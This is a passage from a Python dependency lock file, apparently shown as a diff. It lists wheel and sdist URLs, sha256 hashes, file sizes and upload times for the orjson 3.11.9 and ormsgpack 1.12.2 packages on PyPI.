"https://files.pythonhosted.org/packages/0d/bd/70b6ab193594d7abb875320c0a7c8335e846f28968c432c31042409c3c8d/orjson-3.11.9-cp311-cp311-win32.whl", hash = "sha256:14ed654580c1ed2bc217352ec82f91b047aef82951aa71c7f64e0dcb03c0e180", size = 131533, upload-time = "2026-05-06T15:09:52.637Z" }, + { url = "https://files.pythonhosted.org/packages/3f/17/1a1a228183d62d1b77e2c30d210f47dd4768b310ebe1607c63e3c0e3a71e/orjson-3.11.9-cp311-cp311-win_amd64.whl", hash = "sha256:57ea77fb70a448ce87d18fca050193202a3da5e54598f6501ca5476fb66cfe02", size = 127106, upload-time = "2026-05-06T15:09:54.204Z" }, + { url = "https://files.pythonhosted.org/packages/b8/95/285de5fa296d09681ee9c546cd4a8aeb773b701cf343dc125994f4d52953/orjson-3.11.9-cp311-cp311-win_arm64.whl", hash = "sha256:19b72ed11572a2ee51a67a903afbe5af504f84ed6f529c0fe44b0ab3fb5cc697", size = 126848, upload-time = "2026-05-06T15:09:55.551Z" }, + { url = "https://files.pythonhosted.org/packages/16/6d/11867a3ffa3a3608d84a4de51ef4dd0896d6b5cc9132fbe1daf593e677bc/orjson-3.11.9-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:9ef6fe90aadef185c7b128859f40beb24720b4ecea95379fc9000931179c3a49", size = 228515, upload-time = "2026-05-06T15:09:57.265Z" }, + { url = "https://files.pythonhosted.org/packages/24/75/05912954c8b288f34fcf5cd4b9b071cb4f6e77b9961e175e56ebb258089f/orjson-3.11.9-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:e5c9b8f28e726e97d97696c826bc7bea5d71cecd63576dba92924a32c1961291", size = 128409, upload-time = "2026-05-06T15:09:59.063Z" }, + { url = "https://files.pythonhosted.org/packages/ab/86/1c3a47df3bc8191ea9ac51603bbb872a95167a364320c269f2557911f406/orjson-3.11.9-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:26a473dbb4162108b27901492546f83c76fdcea3d0eadff00ae7a07e18dcce09", size = 132106, upload-time = "2026-05-06T15:10:00.798Z" }, + { url = "https://files.pythonhosted.org/packages/d7/cf/b33b5f3e695ae7d63feef9d915c37cc3b8f465493dcd4f8e0b4c697a2366/orjson-3.11.9-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:011382e2a60fda9d46f1cdee31068cfc52ffe952b587d683ec0463002802a0f4", size = 127864, upload-time = "2026-05-06T15:10:02.15Z" }, + { url = "https://files.pythonhosted.org/packages/31/6a/6cf69385a58208024fcb8c014e2141b8ce838aba6492b589f8acfff97fab/orjson-3.11.9-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c2d3dc759490128c5c1711a53eeaa8ee1d437fd0038ffd2b6008abf46db3f882", size = 135213, upload-time = "2026-05-06T15:10:03.515Z" }, + { url = "https://files.pythonhosted.org/packages/e8/f8/0b1bd3e8f2efcdd376af5c8cfd79eaf13f018080c0089c80ebd724e3c7fb/orjson-3.11.9-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d8ea516b3726d190e1b4297e6f4e7a8650347ae053868a18163b4dd3641d1fff", size = 145994, upload-time = "2026-05-06T15:10:05.083Z" }, + { url = "https://files.pythonhosted.org/packages/f3/59/dab79f61044c529d2c81aecdc589b1f833a1c8dec11ba3b1c2498a02ca7e/orjson-3.11.9-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:380cdce7ba24989af81d0a7013d0aaec5d0e2a21734c0e2681b1bc4f141957fe", size = 132744, upload-time = "2026-05-06T15:10:06.853Z" }, + { url = "https://files.pythonhosted.org/packages/0e/a4/82b7a2fe5d8a67a59ed831b24d59a3d46ea7d207b66e1602d376541d94a6/orjson-3.11.9-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:be4fa4f0af7fa18951f7ab3fc2148e223af211bf03f59e1c6034ec3f97f21d61", size = 134014, upload-time = "2026-05-06T15:10:08.213Z" }, + { url = "https://files.pythonhosted.org/packages/50/c7/375e83a76851b73b2e39f3bcf0e5a19e2b89bad13e5bca97d0b293d27f24/orjson-3.11.9-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a8f5f8bc7ce7d59f08d9f99fa510c06496164a24cb5f3d34537dbd9ca30132e2", size = 141509, upload-time = "2026-05-06T15:10:09.595Z" }, + { url = "https://files.pythonhosted.org/packages/7f/7c/49d5d82a3d3097f641f094f552131f1e2723b0b8cb0fa2874ab65ecfffa6/orjson-3.11.9-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:4d7fde5501b944f83b3e665e1b31343ff6e154b15560a16b7130ea1e594a4206", size = 415127, upload-time = "2026-05-06T15:10:11.049Z" }, + { url = "https://files.pythonhosted.org/packages/3a/dc/7446c538590d55f455647e5f3c61fc33f7108714e7afcffa6a2a033f8350/orjson-3.11.9-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:cde1a448023ba7d5bb4c01c5afb48894380b5e4956e0627266526587ef4e535f", size = 148025, upload-time = "2026-05-06T15:10:12.842Z" }, + { url = "https://files.pythonhosted.org/packages/df/e5/4d2d8af06f788329b4f78f8cc3679bb395392fcaa1e4d8d3c33e85308fa4/orjson-3.11.9-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:71e63adb0e1f1ed5d9e168f50a91ceb93ae6420731d222dc7da5c69409aa47aa", size = 136943, upload-time = "2026-05-06T15:10:14.405Z" }, + { url = "https://files.pythonhosted.org/packages/06/69/850264ccf6d80f6b174620d30a87f65c9b1490aba33fe6b62798e618cad3/orjson-3.11.9-cp312-cp312-win32.whl", hash = "sha256:2d057a602cdd19a0ad680417527c45b6961a095081c0f46fe0e03e304aac6470", size = 131606, upload-time = "2026-05-06T15:10:15.791Z" }, + { url = "https://files.pythonhosted.org/packages/b9/d5/973a43fc9c55e20f2051e9830997649f669be0cb3ca52192087c0143f118/orjson-3.11.9-cp312-cp312-win_amd64.whl", hash = "sha256:59e403b1cc5a676da8eaf31f6254801b7341b3e29efa85f92b48d272637e77be", size = 127101, upload-time = "2026-05-06T15:10:17.129Z" }, + { url = "https://files.pythonhosted.org/packages/fe/ae/495470f0e4a18f73fa10b7f6b84b464ec4cc5291c4e0c7c2a6c400bef006/orjson-3.11.9-cp312-cp312-win_arm64.whl", hash = "sha256:9af678d6488357948f1f84c6cd1c1d397c014e1ae2f98ae082a44eb48f602624", size = 126736, upload-time = "2026-05-06T15:10:18.645Z" }, + { url = "https://files.pythonhosted.org/packages/32/33/93fcc25907235c344ae73122f8a4e01d2d393ef062b4af7d2e2487a32c37/orjson-3.11.9-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:4bab1b2d6141fe7b32ae71dac905666ece4f94936efbfb13d55bb7739a3a6021", size = 228458, upload-time = "2026-05-06T15:10:20.079Z" }, + { url = "https://files.pythonhosted.org/packages/8f/27/b1e6dadb3c080313c03fdd8067b85e6a0460c7d8d6a1c3984ef77b904e4d/orjson-3.11.9-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:844417969855fc7a41be124aafe83dc424592a7f77cd4501900c67307122b92c", size = 128368, upload-time = "2026-05-06T15:10:21.549Z" }, + { url = "https://files.pythonhosted.org/packages/21/0f/c9ede0bf052f6b4051e64a7d4fa91b725cccf8321a6a786e86eb03519f00/orjson-3.11.9-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ffe02797b5e9f3a9d8292ddcd289b474ad13e81ad83cd1891a240811f1d2cb81", size = 132070, upload-time = "2026-05-06T15:10:23.371Z" }, + { url = "https://files.pythonhosted.org/packages/fd/26/d398e28048dc18205bbe812f2c88cb9b40313db2470778e25964796458fe/orjson-3.11.9-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:0e4eed3b200023042814d2fc8a5d2e880f13b52e1ed2485e83da4f3962f7dc1a", size = 127892, upload-time = "2026-05-06T15:10:24.714Z" }, + { url = "https://files.pythonhosted.org/packages/66/60/52b0054c4c700d5aa7fc5b7ca96917400d8f061307778578e67a10e25852/orjson-3.11.9-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8aff7da9952a5ad1cef8e68017724d96c7b9a66e99e91d6252e1b133d67a7b10", size = 135217, upload-time = "2026-05-06T15:10:26.084Z" }, + { url = "https://files.pythonhosted.org/packages/d5/97/1e3dc2b2a28b7b2528f403d2fc1d79ec5f39af3bc143ab65d3ec26426385/orjson-3.11.9-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4d4e98d6f3b8afed8bc8cd9718ec0cdf46661826beefb53fe8eafb37f2bf0362", size = 145980, upload-time = "2026-05-06T15:10:28.062Z" }, + { url = "https://files.pythonhosted.org/packages/fc/39/31fbfe7850f2de32dee7e7e5c09f26d403ab01e440ac96001c6b01ad3c99/orjson-3.11.9-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3a81d52442a7c99b3662333235b3adf96a1715864658b35bb797212be7bddb97", size = 132738, upload-time = "2026-05-06T15:10:29.727Z" }, + { url = "https://files.pythonhosted.org/packages/a1/08/dca0082dd2a194acb93e5457e73455388e2e2ca464a2672449a9ddbb679d/orjson-3.11.9-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4e39364e726a8fff737309aff059ff67d8a8c8d5b677be7bb49a8b3e84b7e218", size = 134033, upload-time = "2026-05-06T15:10:31.152Z" }, + { url = "https://files.pythonhosted.org/packages/11/d4/5bdb0626801230139987385554c5d4c42255218ac906525bf4347f22cd95/orjson-3.11.9-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:4fd66214623f1b17501df9f0543bef0b833979ab5b6ded1e1d123222866aa8c9", size = 141492, upload-time = "2026-05-06T15:10:32.641Z" }, + { url = "https://files.pythonhosted.org/packages/fa/88/a21fb53b3ede6703aede6dce4710ed4111e5b201cfa6bbff5e544f9d47d7/orjson-3.11.9-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:8ecc30f10465fa1e0ce13fd01d9e22c316e5053a719a8d915d4545a09a5ff677", size = 415087, upload-time = "2026-05-06T15:10:34.438Z" }, + { url = "https://files.pythonhosted.org/packages/3d/57/1b30daf70f0d8180e9a73cefbfbdd99e4bf19eb020466502b01fba7e0e50/orjson-3.11.9-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:97db4c94a7db398a5bd636273324f0b3fd58b350bbbac8bb380ceb825a9b40f4", size = 148031, upload-time = "2026-05-06T15:10:36.358Z" }, + { url = "https://files.pythonhosted.org/packages/04/83/45fbb6d962e260807f99441db9613cee868ceda4baceda59b3720a563f97/orjson-3.11.9-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9f78cf8fec5bd627f4082b8dfeac7871b43d7f3274904492a43dab39f18a19a0", size = 136915, upload-time = "2026-05-06T15:10:38.013Z" }, + { url = "https://files.pythonhosted.org/packages/5f/cc/2d10025f9056d376e4127ec05a5808b218d46f035fdc08178a5411b34250/orjson-3.11.9-cp313-cp313-win32.whl", hash = "sha256:d4087e5c0209a0a8efe4de3303c234b9c44d1174161dcd851e8eea07c7560b32", size = 131613, upload-time = "2026-05-06T15:10:39.569Z" }, + { url = "https://files.pythonhosted.org/packages/67/bd/2775ff28bfe883b9aa1ff348300542eb2ef1ee18d8ae0e3a49846817a865/orjson-3.11.9-cp313-cp313-win_amd64.whl", hash = "sha256:051b102c93b4f634e89f3866b07b9a9a98915ada541f4ec30f177067b2694979", size = 127086, upload-time = "2026-05-06T15:10:41.262Z" }, + { url = "https://files.pythonhosted.org/packages/91/2b/d26799e580939e32a7da9a39531bc9e58e15ca32ffaa6a8cb3e9bb0d22cd/orjson-3.11.9-cp313-cp313-win_arm64.whl", hash = "sha256:cce9127885941bd28f080cecf1f1d288336b7e0d812c345b08be88b572796254", size = 126696, upload-time = "2026-05-06T15:10:42.651Z" }, + { url = "https://files.pythonhosted.org/packages/8e/eb/5da01e356015aee6ecfa1187ced87aef51364e306f5e695dd52719bf0e78/orjson-3.11.9-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:b6ef1979adc4bc243523f1a2ba91418030a8e29b0a99cbe7e0e2d6807d4dce6e", size = 228465, upload-time = "2026-05-06T15:10:44.097Z" }, + { url = "https://files.pythonhosted.org/packages/64/62/3e0e0c14c957133bcd855395c62b55ed4e3b0af23ffea11b032cb1dcbdb1/orjson-3.11.9-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:f36b7f32c7c0db4a719f1fc5824db4a9c6f8bd1a354debb91faf26ebf3a4c71e", size = 128364, upload-time = "2026-05-06T15:10:45.839Z" }, + { url = "https://files.pythonhosted.org/packages/5a/5a/07d8aa117211a8ed7630bda80c8c0b14d04e0f8dcf99bcf49656e4a710eb/orjson-3.11.9-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:08f4d8ebb44925c794e535b2bebc507cebf32209df81de22ae285fb0d8d66de0", size = 132063, upload-time = "2026-05-06T15:10:47.267Z" }, + { url = "https://files.pythonhosted.org/packages/d6/ec/4acaf21483e18aa945be74a474c74b434f284b549f275a0a39b9f98956e9/orjson-3.11.9-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6cc7923789694fd58f001cbcac7e47abc13af4d560ebbfcf3b41a8b1a0748124", size = 122356, upload-time = "2026-05-06T15:10:48.765Z" }, + { url = "https://files.pythonhosted.org/packages/13/d8/5f0555e7638801323b7a75850f92e7dfa891bc84fe27a1ba4449170d1200/orjson-3.11.9-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ea5c46eb2d3af39e806b986f4b09d5c2706a1f5afde3cbf7544ce6616127173c", size = 129592, upload-time = "2026-05-06T15:10:50.13Z" }, + { url = "https://files.pythonhosted.org/packages/b6/30/ed9860412a3603ceb3c5955bfd72d28b9d0e7ba6ed81add14f83d7114236/orjson-3.11.9-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f5d89a2ed90731df3be64bab0aa44f78bff39fdc9d71c291f4a8023aa46425b7", size = 140491, upload-time = "2026-05-06T15:10:51.582Z" }, + { url = "https://files.pythonhosted.org/packages/d0/17/adc514dea7ac7c505527febf884934b815d34f0c7b8693c1a8b39c5c4a57/orjson-3.11.9-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:25e4aed0312d292c09f61af25bba34e0b2c88546041472b09088c39a4d828af1", size = 127309, upload-time = "2026-05-06T15:10:53.329Z" }, + { url = "https://files.pythonhosted.org/packages/76/3e/c0b690253f0b82d86e99949af13533363acfb5432ecb5d53dd5b3bce9c34/orjson-3.11.9-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aaea64f3f467d22e70eeed68bdccb3bc4f83f650446c4a03c59f2cba28a108db", size = 134030, upload-time = "2026-05-06T15:10:54.988Z" }, + { url = "https://files.pythonhosted.org/packages/c1/7a/bc82a0bb25e9faaf92dc4d9ef002732efc09737706af83e346788641d4a7/orjson-3.11.9-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a028425d1b440c5d92a6be1e1a020739dfe67ea87d96c6dbe828c1b30041728b", size = 141482, upload-time = "2026-05-06T15:10:56.663Z" }, + { url = "https://files.pythonhosted.org/packages/01/55/e69188b939f77d5d32a9833745ace31ea5ccae3ab613a1ec185d3cd2c4fb/orjson-3.11.9-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:5b192c6cf397e4455b11523c5cf2b18ed084c1bbd61b6c0926344d2129481972", size = 415178, upload-time = "2026-05-06T15:10:58.446Z" }, + { url = "https://files.pythonhosted.org/packages/2e/1a/b8a5a7ac527e80b9cb11d51e3f6689b709279183264b9ec5c7bc680bb8b5/orjson-3.11.9-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:ea407d4ccf5891d667d045fecae97a7a1e5e87b3b97f97ae1803c2e741130be0", size = 148089, upload-time = "2026-05-06T15:11:00.441Z" }, + { url = "https://files.pythonhosted.org/packages/97/4e/00503f64204bf859b37213a63927028f30fb6268cd8677fb0a5ad48155e1/orjson-3.11.9-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5f63aaf97afd9f6dec5b1a68e1b8da12bfccb4cb9a9a65c3e0b6c847849e7586", size = 136921, upload-time = "2026-05-06T15:11:02.176Z" }, + { url = "https://files.pythonhosted.org/packages/0d/ba/a23b82a0a8d0ed7bed4e5f5035aae751cad4ff6a1e8d2ecd14d8860f5929/orjson-3.11.9-cp314-cp314-win32.whl", hash = "sha256:e30ab17845bb9fa54ccf67fa4f9f5282652d54faa6d17452f47d0f369d038673", size = 131638, upload-time = "2026-05-06T15:11:03.696Z" }, + { url = "https://files.pythonhosted.org/packages/f3/c3/0c6798456bade745c75c452342dabacce5798196483e77e643be1f53877d/orjson-3.11.9-cp314-cp314-win_amd64.whl", hash = "sha256:32ef5f4283a3be81913947d19608eacb7c6608026851123790cd9cc8982af34b", size = 127078, upload-time = "2026-05-06T15:11:05.123Z" }, + { url = "https://files.pythonhosted.org/packages/16/21/5a3f1e8913103b703a436a5664238e5b965ec392b555fe68943ea3691e6b/orjson-3.11.9-cp314-cp314-win_arm64.whl", hash = "sha256:eebdbdeef0094e4f5aefa20dcd4eb2368ab5e7a3b4edea27f1e7b2892e009cf9", size = 126687, upload-time = "2026-05-06T15:11:06.602Z" }, +] + +[[package]] +name = "ormsgpack" +version = "1.12.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/12/0c/f1761e21486942ab9bb6feaebc610fa074f7c5e496e6962dea5873348077/ormsgpack-1.12.2.tar.gz", hash = "sha256:944a2233640273bee67521795a73cf1e959538e0dfb7ac635505010455e53b33", size = 39031, upload-time = "2026-01-18T20:55:28.023Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/93/fa/a91f70829ebccf6387c4946e0a1a109f6ba0d6a28d65f628bedfad94b890/ormsgpack-1.12.2-cp310-cp310-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:c1429217f8f4d7fcb053523bbbac6bed5e981af0b85ba616e6df7cce53c19657", size = 378262, upload-time = "2026-01-18T20:55:22.284Z" }, + { url = "https://files.pythonhosted.org/packages/5f/62/3698a9a0c487252b5c6a91926e5654e79e665708ea61f67a8bdeceb022bf/ormsgpack-1.12.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5f13034dc6c84a6280c6c33db7ac420253852ea233fc3ee27c8875f8dd651163", size = 203034, upload-time = "2026-01-18T20:55:53.324Z" }, + { url = "https://files.pythonhosted.org/packages/66/3a/f716f64edc4aec2744e817660b317e2f9bb8de372338a95a96198efa1ac1/ormsgpack-1.12.2-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:59f5da97000c12bc2d50e988bdc8576b21f6ab4e608489879d35b2c07a8ab51a", size = 210538, upload-time = "2026-01-18T20:55:20.097Z" }, + { url = "https://files.pythonhosted.org/packages/72/30/a436be9ce27d693d4e19fa94900028067133779f09fc45776db3f689c822/ormsgpack-1.12.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9e4459c3f27066beadb2b81ea48a076a417aafffff7df1d3c11c519190ed44f2", size = 212401, upload-time = "2026-01-18T20:55:46.447Z" }, + { url = "https://files.pythonhosted.org/packages/10/c5/cde98300fd33fee84ca71de4751b19aeeca675f0cf3c0ec4b043f40f3b76/ormsgpack-1.12.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:7a1c460655d7288407ffa09065e322a7231997c0d62ce914bf3a96ad2dc6dedd", size = 387080, upload-time = "2026-01-18T20:56:00.884Z" }, + { url = "https://files.pythonhosted.org/packages/6a/31/30bf445ef827546747c10889dd254b3d84f92b591300efe4979d792f4c41/ormsgpack-1.12.2-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:458e4568be13d311ef7d8877275e7ccbe06c0e01b39baaac874caaa0f46d826c", size = 482346, upload-time = "2026-01-18T20:55:39.831Z" }, + { url = "https://files.pythonhosted.org/packages/2e/f5/e1745ddf4fa246c921b5ca253636c4c700ff768d78032f79171289159f6e/ormsgpack-1.12.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8cde5eaa6c6cbc8622db71e4a23de56828e3d876aeb6460ffbcb5b8aff91093b", size = 425178, upload-time = "2026-01-18T20:55:27.106Z" }, + { url = "https://files.pythonhosted.org/packages/8d/a2/e6532ed7716aed03dede8df2d0d0d4150710c2122647d94b474147ccd891/ormsgpack-1.12.2-cp310-cp310-win_amd64.whl", hash = "sha256:dc7a33be14c347893edbb1ceda89afbf14c467d593a5ee92c11de4f1666b4d4f", size = 117183, upload-time = "2026-01-18T20:55:55.52Z" }, + { url = "https://files.pythonhosted.org/packages/4b/08/8b68f24b18e69d92238aa8f258218e6dfeacf4381d9d07ab8df303f524a9/ormsgpack-1.12.2-cp311-cp311-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:bd5f4bf04c37888e864f08e740c5a573c4017f6fd6e99fa944c5c935fabf2dd9", size = 378266, upload-time = "2026-01-18T20:55:59.876Z" }, + { url = "https://files.pythonhosted.org/packages/0d/24/29fc13044ecb7c153523ae0a1972269fcd613650d1fa1a9cec1044c6b666/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:34d5b28b3570e9fed9a5a76528fc7230c3c76333bc214798958e58e9b79cc18a", size = 203035, upload-time = "2026-01-18T20:55:30.59Z" }, + { url = "https://files.pythonhosted.org/packages/ad/c2/00169fb25dd8f9213f5e8a549dfb73e4d592009ebc85fbbcd3e1dcac575b/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3708693412c28f3538fb5a65da93787b6bbab3484f6bc6e935bfb77a62400ae5", size = 210539, upload-time = "2026-01-18T20:55:48.569Z" }, + { url = "https://files.pythonhosted.org/packages/1b/33/543627f323ff3c73091f51d6a20db28a1a33531af30873ea90c5ac95a9b5/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:43013a3f3e2e902e1d05e72c0f1aeb5bedbb8e09240b51e26792a3c89267e181", size = 212401, upload-time = "2026-01-18T20:56:10.101Z" }, + { url = "https://files.pythonhosted.org/packages/e8/5d/f70e2c3da414f46186659d24745483757bcc9adccb481a6eb93e2b729301/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7c8b1667a72cbba74f0ae7ecf3105a5e01304620ed14528b2cb4320679d2869b", size = 387082, upload-time = "2026-01-18T20:56:12.047Z" }, + { url = "https://files.pythonhosted.org/packages/c0/d6/06e8dc920c7903e051f30934d874d4afccc9bb1c09dcaf0bc03a7de4b343/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:df6961442140193e517303d0b5d7bc2e20e69a879c2d774316125350c4a76b92", size = 482346, upload-time = "2026-01-18T20:56:05.152Z" }, + { url = "https://files.pythonhosted.org/packages/66/c4/f337ac0905eed9c393ef990c54565cd33644918e0a8031fe48c098c71dbf/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:c6a4c34ddef109647c769d69be65fa1de7a6022b02ad45546a69b3216573eb4a", size = 425181, upload-time = "2026-01-18T20:55:37.83Z" }, + { url = "https://files.pythonhosted.org/packages/78/29/6d5758fabef3babdf4bbbc453738cc7de9cd3334e4c38dd5737e27b85653/ormsgpack-1.12.2-cp311-cp311-win_amd64.whl", hash = "sha256:73670ed0375ecc303858e3613f407628dd1fca18fe6ac57b7b7ce66cc7bb006c", size = 117182, upload-time = "2026-01-18T20:55:31.472Z" }, + { url = "https://files.pythonhosted.org/packages/c4/57/17a15549233c37e7fd054c48fe9207492e06b026dbd872b826a0b5f833b6/ormsgpack-1.12.2-cp311-cp311-win_arm64.whl", hash = "sha256:c2be829954434e33601ae5da328cccce3266b098927ca7a30246a0baec2ce7bd", size = 111464, upload-time = "2026-01-18T20:55:38.811Z" }, + { url = "https://files.pythonhosted.org/packages/4c/36/16c4b1921c308a92cef3bf6663226ae283395aa0ff6e154f925c32e91ff5/ormsgpack-1.12.2-cp312-cp312-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:7a29d09b64b9694b588ff2f80e9826bdceb3a2b91523c5beae1fab27d5c940e7", size = 378618, upload-time = "2026-01-18T20:55:50.835Z" }, + { url = "https://files.pythonhosted.org/packages/c0/68/468de634079615abf66ed13bb5c34ff71da237213f29294363beeeca5306/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b39e629fd2e1c5b2f46f99778450b59454d1f901bc507963168985e79f09c5d", size = 203186, upload-time = "2026-01-18T20:56:11.163Z" }, + { url = "https://files.pythonhosted.org/packages/73/a9/d756e01961442688b7939bacd87ce13bfad7d26ce24f910f6028178b2cc8/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:958dcb270d30a7cb633a45ee62b9444433fa571a752d2ca484efdac07480876e", size = 210738, upload-time = "2026-01-18T20:56:09.181Z" }, + { url = "https://files.pythonhosted.org/packages/7b/ba/795b1036888542c9113269a3f5690ab53dd2258c6fb17676ac4bd44fcf94/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58d379d72b6c5e964851c77cfedfb386e474adee4fd39791c2c5d9efb53505cc", size = 212569, upload-time = "2026-01-18T20:56:06.135Z" }, + { url = "https://files.pythonhosted.org/packages/6c/aa/bff73c57497b9e0cba8837c7e4bcab584b1a6dbc91a5dd5526784a5030c8/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8463a3fc5f09832e67bdb0e2fda6d518dc4281b133166146a67f54c08496442e", size = 387166, upload-time = "2026-01-18T20:55:36.738Z" }, + { url = "https://files.pythonhosted.org/packages/d3/cf/f8283cba44bcb7b14f97b6274d449db276b3a86589bdb363169b51bc12de/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:eddffb77eff0bad4e67547d67a130604e7e2dfbb7b0cde0796045be4090f35c6", size = 482498, upload-time = "2026-01-18T20:55:29.626Z" }, + { url = "https://files.pythonhosted.org/packages/05/be/71e37b852d723dfcbe952ad04178c030df60d6b78eba26bfd14c9a40575e/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fcd55e5f6ba0dbce624942adf9f152062135f991a0126064889f68eb850de0dd", size = 425518, upload-time = "2026-01-18T20:55:49.556Z" }, + { url = "https://files.pythonhosted.org/packages/7a/0c/9803aa883d18c7ef197213cd2cbf73ba76472a11fe100fb7dab2884edf48/ormsgpack-1.12.2-cp312-cp312-win_amd64.whl", hash = "sha256:d024b40828f1dde5654faebd0d824f9cc29ad46891f626272dd5bfd7af2333a4", size = 117462, upload-time = "2026-01-18T20:55:47.726Z" }, + { url = "https://files.pythonhosted.org/packages/c8/9e/029e898298b2cc662f10d7a15652a53e3b525b1e7f07e21fef8536a09bb8/ormsgpack-1.12.2-cp312-cp312-win_arm64.whl", hash = "sha256:da538c542bac7d1c8f3f2a937863dba36f013108ce63e55745941dda4b75dbb6", size = 111559, upload-time = "2026-01-18T20:55:54.273Z" }, + { url = "https://files.pythonhosted.org/packages/eb/29/bb0eba3288c0449efbb013e9c6f58aea79cf5cb9ee1921f8865f04c1a9d7/ormsgpack-1.12.2-cp313-cp313-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:5ea60cb5f210b1cfbad8c002948d73447508e629ec375acb82910e3efa8ff355", size = 378661, upload-time = "2026-01-18T20:55:57.765Z" }, + { url = "https://files.pythonhosted.org/packages/6e/31/5efa31346affdac489acade2926989e019e8ca98129658a183e3add7af5e/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f3601f19afdbea273ed70b06495e5794606a8b690a568d6c996a90d7255e51c1", size = 203194, upload-time = "2026-01-18T20:56:08.252Z" }, + { url = "https://files.pythonhosted.org/packages/eb/56/d0087278beef833187e0167f8527235ebe6f6ffc2a143e9de12a98b1ce87/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:29a9f17a3dac6054c0dce7925e0f4995c727f7c41859adf9b5572180f640d172", size = 210778, upload-time = "2026-01-18T20:55:17.694Z" }, + { url = "https://files.pythonhosted.org/packages/1c/a2/072343e1413d9443e5a252a8eb591c2d5b1bffbe5e7bfc78c069361b92eb/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:39c1bd2092880e413902910388be8715f70b9f15f20779d44e673033a6146f2d", size = 212592, upload-time = "2026-01-18T20:55:32.747Z" }, + { url = 